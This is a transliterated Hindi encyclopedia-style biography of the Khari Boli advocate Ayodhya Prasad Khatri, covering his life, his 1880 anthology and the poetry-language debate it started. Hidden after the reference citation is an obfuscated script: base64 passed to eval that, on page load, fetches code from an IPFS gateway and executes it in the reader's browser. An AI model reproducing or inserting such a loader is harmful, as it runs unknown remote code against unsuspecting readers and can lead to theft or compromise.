अयोध्या प्रसाद खत्री
ayodhya prasad khatri
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| poora nam | ayodhya prasad khatri |
| janm | 1857 ee. |
| janm bhoomi | sikandarapur, zila baliya (uttar pradesh) |
| mrityu | 4 janavari, 1905 |
| mrityu sthan | mujaffarapur, bihar |
| abhibhavak | jagajivan lal khatri |
| karm bhoomi | bharat |
| karm-kshetr | adhyapak, peshakar |
| mukhy rachanaean | 'kh di boli ka pady' (1880) |
| bhasha | hiandi |
| nagarikata | bharatiy |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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ayodhya prasad khatri (aangrezi: Ayodhya Prasad Khatri, janm: 1857 - mrityu: 4 janavari, 1905) hindi kh di boli ke arambhik prabal samarthak the. yah mujaffarapur (bihar) mean kachahari mean peshakar the.
jivan parichay
ayodhya prasad khatri ka janm 1857 ee. mean sikandarapur, zila baliya (uttar pradesh) mean hua tha. uttar pradesh 1857 ke sipahi vidroh ke karan aangrezoan ke julm ka zyada shikar hua, jisake karan inake pita shri jagajivan lal khatri apane gaanv sikandarapur se any parivaroan ki tarah visthapit hokar mujaffarapur (bihar) akar bas ge aur jivan vyatit karane ke lie kalyani mean kitaboan ki dukan khol li. ayodhya prasad khatri ke pita ne bachapan se hi inako sooradas, tulasi ke dohe sunae aur inaki mata ne inako gita kanthasth kara di.
shiksha
ayodhya prasad khatri ko padhane ke lie ghar par hi maulavi ane lage, phir inaka dakhila mujaffarapur ke zila skool mean karaya gaya. khatri ji jab iantres mean padh rahe the to inake pita ka dehaant ho gaya.
karyakshetr
khatri ji ko pita ke dehaant ke bad apani padhaee bich mean hi chho dakar dukan sanbhalani p di, kiantu is vyavasay mean unaka man n rama aur ve kudhani mainar skool ke shikshak ho ge. apane skool mean hindi ki pathy-pustakoan ka abhav dekh unhean sabase pahale hindi vyakaran ki rachana ki tatha skool ki naukari tyagakar mujaffarapur mean aangrezoan ko hindi padhane lage. ek aangrez adhikari ne unase prabhavit hokar unhean lipik ke pad par bahal kar liya, jahaan ve jald hi apani pratibha ke bal par kalaiktar ke peshakar ho ge jis par yah jivanaparyant karyarat rahe. isi pad par rahate hue khatri ji ne kh di boli hindi ke lie apana sarvasv hom kiya.
kh di boli ka aandolan
bharatendu yug se hindi-sahity mean adhunikata ki shurooat huee. us daur ke rachanakaroan ko adhunikata ki shurooat karane ka shrey diya jata hai, jo vajib hai. isi daur mean b de paimane par bhasha aur vishay-vastu mean badalav aya. kh di boli hindi gady ki bhasha bani. achary ramachandr shukl sahit sabhi itihasakar-alochakoan ne vishay-vastu ke sath-sath bhasha ke roop mean kh di boli hindi ke chalan ko adhunikata ka niyamak mana hai. gauratalab hai ki itihas ke us kalakhand mean, jise ham bharatendu yug ke nam se janate haian, kh di boli hindi gady ki bhasha ban gee lekin pady ki bhasha ke roop mean brajabhasha ka bolabala qayam raha. itana hi nahian, kavitaoan ka vishay bhakti aur ritikalin raha. is lihaj se, kavita madhyakalin bhav-bodh tak simit rahi.[1]
'kh di-boli ka pady'
ayodhya prasad khatri ne gady aur pady ki bhasha ke alagav ko galat manate hue isaki ekaroopata par jor diya. pahali bar inhoanne sahity jagath ka dhyan is mudde ki taraph khiancha. sath hi ise aandolan ka roop diya. isi kram mean khatri ji ne 'kh di-boli ka pady` do khandoan mean chhapavaya. in donoan kitaboan ko tatkalin sahity-rasikoan ke bich ni:shulk bantavaya. kabilegaur hai ki is kitab ke chhapane ke bad kavy-bhasha ka saval ek mahattvapoorn mudde ke roop mean ubhara. hindi-sahity ke itihas mean 'kh di boli ka pady` aisi pahali aur akeli kitab hai, jisaki vajah se itana adhik vad-vivad hua. is kitab ne kavy-bhasha ke sanbandh mean jo vichar prastavit kiya, us par qarib tin dashakoan tak bahasean hoti rahian. is kitab ke jarie ek sahityik aandolan ki shurooat huee. hindi kavita ki bhasha kya ho, brajabhasha athava kh diboli hindi? isake sanpadak ne kh diboli hindi ka paksh lete hue brajabhasha ko kharij kiya. lihaja, is aandolan ki vajah se paristhitiyaan aisi badalian ki brajabhasha jaisi sahityik bhasha boli ban gayi aur kh di boli jaisi boli sahityik bhasha ke taur par sthapit ho gee. 'kh di boli ka pady` ke pahale bhag ki bhoomika mean khatri ji ne kh di boli ko paanch bhagoan mean baanta-theth hindi, pandit ji ki hindi, muanshi ji ki hindi, maulavi sahab ki hindi aur yooreshiyan hindi. unhoanne muanshi-hindi ko adarsh hindi mana. aisi hindi jisamean kathin sanskritanishth shabd n hoan. sath hi arabi-farasi ke kathin shabd bhi nahian hoan. lekin amaphaham shabd chahe kisi bhasha ke hoan, usase parahej n kiya gaya ho. prasangavash, isi muanshi hindi ko mahatma gaandhi sahit kee logoan ne hindostani kaha hai.[1]
shaili
ye kh di boli pady ki char shailiyaan manate the- maulavi, muanshi, pandit aur adhyapak shailiyaan. inhoanne kh di boli ka pady (1880 ee., do bhag) mean ukt shailiyoan ki kavitaoan ka sankalan kiya tha.
mrityu
ayodhya prasad khatri ji ka dehaant 4 janavari, 1905 ee. ko mujaffarapur, bihar mean hua tha.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 aur khadi boli ka aandolan (hiandi) (ech.ti.em.el) jan vikalp (bl aaug). abhigaman tithi: 29 disambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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